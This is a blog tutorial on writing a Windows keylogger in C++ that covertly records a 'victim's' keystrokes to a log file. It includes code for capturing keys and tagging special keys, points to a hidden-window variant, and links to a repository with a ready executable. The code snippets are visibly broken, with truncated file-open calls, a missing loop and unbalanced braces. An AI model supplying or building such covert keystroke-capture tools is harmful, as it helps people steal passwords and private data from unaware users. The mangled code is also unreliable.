Building Keyloggers using C++

Shivam Chaudhary
3 min readJun 27, 2021
Keylogger to save the logs of key pressed by the victim

Understanding the Keylogger…

Keylogging (also known as : Keystroke logging and Keyboard capturing) is the process of recording (logging) the key pressed on the keyboard (usually others). This action is performed covertly, so that the other person (or the victim) using that keyboard is unaware of the fact that their keystrokes are being captured by a keylogger.

These keyloggers are mostly used by some hackers to gain passwords and sensitive information (credit card, etc). These keyloggers can be in the form of software or hardware. These keyloggers can perform multiple tasks like capturing the keystrokes and then send them to the attacker ( or the keylogger operator ) who created this keylogger and affected the victim without victim’s permission.

While the programs themselves are legal, with many designed to allow employers to oversee the use of their computers, keyloggers are most often used for stealing passwords and other confidential information.

Start Building…

Complete code for Keylogger in C++ is available in my github.

First we need to know, what we have to do? (pretty good question right 😝)

We need to capture key strokes on the keyboard by the victim and then store them into a text or log file to process further…

#include <iostream>     // input-output stream
#include <windows.h> // importing windows function
#include <conio.h> // console input-output
#include <fstream> // file input-output stream
using namespace std;

so here we have included all the important libraries…

Now declare the function which will going to store all the keystrokes.

int keys(char key, fstream&);

Let’s start the main function

int main(){char key_press;
int ascii_value; fstream afile;"key_file.txt", ios::in | ios::out); afile.close();
/* Block 1 Starts */
key_press = getch();
ascii_value = key_press;
cout << "Here --> " << key_press << endl;if(7 < ascii_value && ascii_value < 256){
keys(key_press, afile); // calling keys method
} // if condition over
/* Block 1 Ends */
} // while loop over
return 0;
} // main function over

Here we have used getch() to capture the keystrokes. This will allow console window to show up and capture all the key pressed and show them as output. But if you don’t want this console window to show up and just store the keystrokes directly to the file. That is possible by using GetAysncKeyState() method. You can find that part in the original code if you follow this github link.

GetAysncKeyState() (Windows method) determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.

Now we will define the keys method to store all the captured key strokes in a text or we can say a log file…

So, this keys() method will store all the keys inside the file including the special keys.

int keys(char key, fstream& file){"key_file.txt", ios::app | ios::in | ios::out);if(file){if(GetAsyncKeyState(VK_SHIFT)){
file << "[SHIFT]";
else if(GetAsyncKeyState(VK_ESCAPE)){
file << "[ESCAPE]";
else if(GetAsyncKeyState(VK_RETURN)){
file << "[ENTER]";
else if(GetAsyncKeyState(VK_CONTROL)){
file << "[CONTROL]";
else if(GetAsyncKeyState(VK_MENU)){
file << "[ALT]";
else if(GetAsyncKeyState(VK_DELETE)){
file << "[DELETE]";
else if(GetAsyncKeyState(VK_TAB)){
file << "[TAB]";
else if(GetAsyncKeyState(VK_BACK)){
file << "[BACKSPACE]";
// storing the keystrokes (other than special keys) in the file
file << key;
return 0;

So in this method we open a file using a file object pointer and then as per the key pressed, this code will type them inside the file and save them at each. and every call by the main function.

If a special key is pressed (i.e Enter, Shift, Backspace) then this method will type [Special key] inside the file to know that a special key is pressed while the keylogger was capturing the key strokes.

The whole code for this keylogger above is present here in my github page. You will also find a windows executable there.

Note: This article is just for learning purpose and reader may not use this code to do some illegal work. This script, if executed, will be tracked by the Operating System so it’s not a good idea to do that to others without permission.

👐 Happy Learning…